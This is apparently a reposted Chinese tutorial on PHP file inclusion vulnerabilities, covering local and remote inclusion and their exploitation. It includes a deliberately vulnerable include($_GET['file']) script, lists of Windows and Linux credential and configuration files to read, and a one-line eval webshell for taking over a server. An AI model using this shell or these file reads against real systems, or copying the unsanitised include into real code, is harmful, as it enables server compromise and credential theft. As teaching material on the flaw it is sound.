原理篇—文件包含漏洞


文件包含漏洞

  開發人員通常會把可重復使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無需再次編寫,這種調用文件的過程一般被稱為包含。

  為了使代碼更加靈活,通常會將被包含的文件設置為變量,用來進行動態調用,但正是由於這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。

1. 包含漏洞原理解析

  大多數Web語言都支持文件包含操作,其中PHP語言所提供的文件包含功能太強大、太靈活,也就導致文件包含漏洞經常出現在PHP語言中。這里就以PHP語言為例。

  PHP中提供了四個文件包含的函數:

  • include( )
    當使用該函數包含文件時,只有代碼執行到 include()函數時才將文件包含進來,發生錯誤時只給出一個警告,繼續向下執行
  • include_once( )
    功能與 Include()相同,區別在於當重復調用同一文件時,程序只調用一次
  • require( )
    require()與 include()的區別在於 require()執行如果發生錯誤,函數會輸出錯誤信息,並終止腳本的運行。
  • require_once( )
    功能與 require()相同,區別在於當重復調用同一文件時,程序只調用一次。

2. 文件包含分類

  2.1 本地文件包含

     當包含的文件在服務器本地時,就形成了本地文件包含。

   做個簡單的測試:

   index.php:這里用GET獲取文件名

<?php $file = $_GET['file']; if(isset($file)){ include("$file"); }else{ echo "file fail!"; } ?>

  include.php :被包含的文件。實際上被包含文件可以是任意格式的,即便與當前編程語言無關,甚至可以是圖片,只要文件被包含,其內容會被包含文件包含,並以當前服務器腳本語言執行。

<?php
phpinfo();

?>

  運行結果展示:

  

 

     這時,如果被包含的文件內容不符合php語言規范的,會直接將文件內容(源代碼)輸出,如:

    

  2.2 遠程文件包含

     要使用遠程文件包含功能,首先要確定PHP是否開啟遠程文件包含功能選項(默認為關閉),需要再php.ini配置文件中修改,修改后重啟Web容器服務使其生效,修改內容:
 
        //把off更改為on

 

     下面是PHP遠程文件包含的例子:

    index.php頁面的代碼不變,我們在虛擬機創建被包含文件,文件內容:

    

 

     訪問URL:http://192.168.3.134/814/123.txt(這里我們知道虛擬機的ip,換掉127.0.0.1),包含成功

    

 3. 文件包含利用

  3.1 讀取敏感文件

    常見的敏感信息路徑:

    Windows系統

  c:\boot.ini // 查看系統版本

  c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

  c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼

  c:\ProgramFiles\mysql\my.ini // MySQL配置

  c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼

  c:\windows\php.ini // php 配置信息

    Linux/Unix系統

  /etc/passwd // 賬戶信息

  /etc/shadow // 賬戶密碼文件

  /usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件

  /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置

  /usr/local/app/php5/lib/php.ini // PHP相關配置

  /etc/httpd/conf/httpd.conf // Apache配置文件

  /etc/my.conf // mysql 配置文件

   3.2  遠程包含Shell

      如果目標主機 allow_url_fopen 選項是激活的,就可以嘗試遠程包含一句話木馬。通過上文遠程包含提到的方法和內容進行上傳,可以在訪問的目錄下生成shell,內容為:

      <?php @eval($_POST['cgq'])?>

      然后通過蟻劍就可以連接:

      

 

 

    3.3  本地包含配合文件上傳

      可以通過上傳文件的方式上傳一句話木馬並拿到路徑,在URL中接路徑,包含一句話木馬的文件.

    3.4 使用PHP封裝協議  

名稱 含義
file:// 訪問本地文件系統
http:// 訪問 HTTP(s) 網址
fftp:// 訪問 FTP(s) URLs
php:// 訪問各個輸入/輸出流(I/O streams)
zlib:// 壓縮流
data:// 數據(RFC 2397)
ssh2:// Secure Shell 2
expect:// 處理交互式的流
glob:// 查找匹配的文件路徑模式
phar PHP歸檔

    

      

 

 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM